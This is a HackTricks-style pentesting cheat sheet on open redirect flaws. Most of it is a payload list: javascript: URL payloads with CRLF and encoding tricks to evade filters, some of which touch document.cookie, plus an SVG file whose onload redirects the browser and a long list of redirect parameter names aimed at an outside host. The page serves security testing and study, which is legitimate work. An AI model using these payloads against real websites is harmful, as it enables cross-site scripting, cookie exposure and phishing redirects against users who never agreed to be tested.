216 lines
6.8 KiB
Markdown
216 lines
6.8 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# Open Redirect
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## Open redirect
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### Redirect to localhost or arbitrary domains
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{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
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[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
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{% endcontent-ref %}
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### Open Redirect to XSS
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```bash
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#Basic payload, javascript code is executed after "javascript:"
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javascript:alert(1)
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#Bypass "javascript" word filter with CRLF
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java%0d%0ascript%0d%0a:alert(0)
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#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
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#This bypasses FILTER_VALIDATE_URL os PHP
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javascript://%250Aalert(1)
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#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
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javascript://%250Aalert(1)//?1
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javascript://%250A1?alert(1):0
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#Others
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%09Jav%09ascript:alert(document.domain)
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javascript://%250Alert(document.location=document.cookie)
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/%09/javascript:alert(1);
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/%09/javascript:alert(1)
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//%5cjavascript:alert(1);
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//%5cjavascript:alert(1)
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/%5cjavascript:alert(1);
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/%5cjavascript:alert(1)
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javascript://%0aalert(1)
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<>javascript:alert(1);
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//javascript:alert(1);
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//javascript:alert(1)
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/javascript:alert(1);
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/javascript:alert(1)
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\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
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javascript:alert(1);
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javascript:alert(1)
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javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
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javascript:confirm(1)
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javascript://https://whitelisted.com/?z=%0Aalert(1)
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javascript:prompt(1)
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jaVAscript://whitelisted.com//%0d%0aalert(1);//
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javascript://whitelisted.com?%a0alert%281%29
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/x:1/:///%01javascript:alert(document.cookie)/
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";alert(0);//
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```
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## Open Redirect uploading svg files
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```markup
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<code>
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
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<svg
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onload="window.location='http://www.example.com'"
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xmlns="http://www.w3.org/2000/svg">
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</svg>
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</code>
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```
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## Common injection parameters
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```
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/{payload}
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?next={payload}
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?url={payload}
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?target={payload}
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?rurl={payload}
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?dest={payload}
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?destination={payload}
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?redir={payload}
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?redirect_uri={payload}
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?redirect_url={payload}
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?redirect={payload}
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/redirect/{payload}
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/cgi-bin/redirect.cgi?{payload}
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/out/{payload}
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/out?{payload}
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?view={payload}
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/login?to={payload}
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?image_url={payload}
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?go={payload}
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?return={payload}
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?returnTo={payload}
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?return_to={payload}
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?checkout_url={payload}
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?continue={payload}
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?return_path={payload}
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success=https://c1h2e1.github.io
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data=https://c1h2e1.github.io
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qurl=https://c1h2e1.github.io
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login=https://c1h2e1.github.io
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logout=https://c1h2e1.github.io
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ext=https://c1h2e1.github.io
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clickurl=https://c1h2e1.github.io
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goto=https://c1h2e1.github.io
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rit_url=https://c1h2e1.github.io
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forward_url=https://c1h2e1.github.io
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@https://c1h2e1.github.io
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forward=https://c1h2e1.github.io
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pic=https://c1h2e1.github.io
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callback_url=https://c1h2e1.github.io
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jump=https://c1h2e1.github.io
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jump_url=https://c1h2e1.github.io
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click?u=https://c1h2e1.github.io
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originUrl=https://c1h2e1.github.io
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origin=https://c1h2e1.github.io
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Url=https://c1h2e1.github.io
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desturl=https://c1h2e1.github.io
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u=https://c1h2e1.github.io
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page=https://c1h2e1.github.io
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u1=https://c1h2e1.github.io
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action=https://c1h2e1.github.io
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action_url=https://c1h2e1.github.io
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Redirect=https://c1h2e1.github.io
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sp_url=https://c1h2e1.github.io
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service=https://c1h2e1.github.io
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recurl=https://c1h2e1.github.io
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j?url=https://c1h2e1.github.io
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url=//https://c1h2e1.github.io
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uri=https://c1h2e1.github.io
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u=https://c1h2e1.github.io
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allinurl:https://c1h2e1.github.io
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q=https://c1h2e1.github.io
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link=https://c1h2e1.github.io
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src=https://c1h2e1.github.io
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tc?src=https://c1h2e1.github.io
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linkAddress=https://c1h2e1.github.io
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location=https://c1h2e1.github.io
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burl=https://c1h2e1.github.io
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request=https://c1h2e1.github.io
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backurl=https://c1h2e1.github.io
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RedirectUrl=https://c1h2e1.github.io
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Redirect=https://c1h2e1.github.io
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ReturnUrl=https://c1h2e1.github.io
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```
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## Code examples
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#### .Net
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```bash
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response.redirect("~/mysafe-subdomain/login.aspx")
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```
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#### Java
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```bash
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response.redirect("http://mysafedomain.com");
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```
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#### PHP
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```php
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<?php
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/* browser redirections*/
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header("Location: http://mysafedomain.com");
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exit;
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?>
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```
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## Tools
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* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
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## Resources
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In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\
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[https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
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[https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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